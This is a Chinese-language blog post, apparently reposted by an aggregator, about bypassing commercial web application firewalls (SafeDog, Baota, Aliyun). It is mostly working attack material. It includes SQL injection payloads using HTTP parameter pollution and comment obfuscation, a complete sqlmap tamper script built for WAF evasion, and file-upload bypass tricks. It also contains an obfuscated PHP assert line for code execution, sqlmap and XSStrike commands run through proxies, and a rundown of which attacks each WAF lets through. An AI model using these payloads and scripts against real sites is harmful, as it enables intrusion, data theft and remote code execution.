WAF攻防漏洞利用HPP污染&分块传输&垃圾数据

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF攻防漏洞利用HPP污染&分块传输&垃圾数据相关的知识,希望对你有一定的参考价值。

一、安全狗-SQL注入&文件上传绕过

SQL注入绕过参考https://www.cnblogs.com/cute-puli/p/11146625.html

mysql注入函数分为几类
拆分字符串函数:mid、left、lpad等
编码函数:ord、hex、ascii等
运算函数:+ - * / & ^ ! like rlike reg等
空格替换部分:09、0a、0b、0c、0d等
关键数据函数:user()、version()、database()等
然后将这些不同类型的函数组合拼接在一起

1.关键字替换

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12

2.更换提交方式
POST id=-1 union select 1,2,3–+

3.模拟文件上传


伪造上传请求数据包绕waf传递数据

3.分块传输
原理参考:https://www.cnblogs.com/backlion/p/10569976.html
插件项目地址:https://github.com/c0ny1/chunked-coding-converter

4.HPP参数污染

于是可以构造参数 id=1/**&id=-1 union select 1,2,3#*/
这里数据接收的: -1 union select 1,2,3#*/
安全狗接受的 1/*-1 union select 1,2,3#*/

相当于注释成功的绕过了安全狗

rdog绕过脚本

#!/usr/bin/env python2

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*Eor*/"
                continue

            retVal += payload[i]

    return retVal

补充一个msssql注入绕过云锁以及一些waf
sql语句: %1eoR%1e1=@@version%1e--

文件上传上传绕过

Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改

1.去掉双引号绕过

2.=符号干扰

3.换行解析绕过

字节流可能就是 p 0a 0d h 0a 0d p来绕过

4.垃圾字符溢出


为的就是干扰waf

5.参数模拟


二、BT&Aliyun-文件包含&代码执行绕过

文件包含绕过
…\\ …/ …\\等
参考:http://www.javashuo.com/article/p-dnnvgccx-ms.html
https://blog.csdn.net/heiseweiye/article/details/82774710

代码执行绕过

$y=str_replace('x','','pxhpxinxfo()');assert($y);

把x去空,然后赋值给变量y=phpinfo(),接着就会执行代码

三、BT&Aliyun-SQL注入&文件上传绕过

sql注入绕过-直接上代理
python sqlmap.py -u “www.xxx.com/?id=1” --random-agent --tamper=rdog.py --proxy=“http://tww.xxx.com:15818”

文件上传-格式替换


比如上传phtml、php5、php4等

四、BT&Aliyun-XSS绕过&宝塔tips

利用XSStrike绕过 加上–timeout或–proxy配合代理池绕过cc&Fuzz

xsstrike项目:https://github.com/s0md3v/XSStrike
python xsstrike.py -u “http://www.xxx.com” --proxy

宝塔tips: 在不断的构造xss语句对网站发起请求攻击时,宝塔会拦截这些xss语句这样就触发了xss,于是就可以通过xss平台来进行构造攻击

五、绕过总结

安全狗:
注入 xss 文件上传拦截
rce 文件包含 等其他不拦截

宝塔:
注入 上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字

aliyun
拦截的CC速度 和 后门 信息收集和权限维持阶段拦截
漏洞利用 他不拦截 默认的版本(升级版本没测试)

WAF java不支持

以上是关于WAF攻防漏洞利用HPP污染&分块传输&垃圾数据的主要内容,如果未能解决你的问题,请参考以下文章

HTTP参数污染

WAF攻防漏洞发现协议代理池Goby&Awvs&Xray

sqli-labs(十三)(hpp)

web安全CRLF注入&HPP参数污染&URL重定向

WAF攻防信息收集被动&代理池&仿指纹&白名单

利用原型链漏洞污染拿下服务器权限